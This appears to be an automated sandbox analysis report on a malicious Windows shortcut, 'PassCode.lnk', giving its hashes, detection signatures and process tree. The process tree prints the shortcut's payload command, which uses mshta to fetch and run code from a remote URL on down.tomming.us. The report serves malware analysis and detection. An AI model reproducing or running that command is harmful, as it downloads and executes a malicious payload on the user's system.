1b2c8c71a9c38266748526ae2febea2f48cad7896532f3481fb6d1790bf6e372 | Triage

Analysis

max time kernel
50s
max time network
184s
platform
windows10-1703_x64
resource
win10-20220901-en
resource tags

arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
submitted
15-02-2023 04:16

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General

Target

PassCode.lnk
Size

2KB
MD5

2e4ea31a8afa6afdb0c3717909f437e3
SHA1

a85e0da953ed18006cd60feb656df1f945b94ec7
SHA256

1b2c8c71a9c38266748526ae2febea2f48cad7896532f3481fb6d1790bf6e372
SHA512

0c1f43380fe11a35fec9a28932358932f40cfec566c1000af94d0d7d6d440c098b61d52d836bcf155f45cfb87181f05aed4a6f2094a018ebc238124b7262c033

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 5096 wrote to memory of 3396	5096	cmd.exe	67
PID 5096 wrote to memory of 3396	5096	cmd.exe	67

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\PassCode.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:5096
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" mshta https://down.tomming.us/iY3zCHGTmYj/4BdfzDhGZW/ROBSa5DDb5/kGuSvL2aT0/V2iMA09U5B/Cvw%3D%3D
  2⤵
  PID:3396

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/3396-120-0x0000000000000000-mapping.dmp

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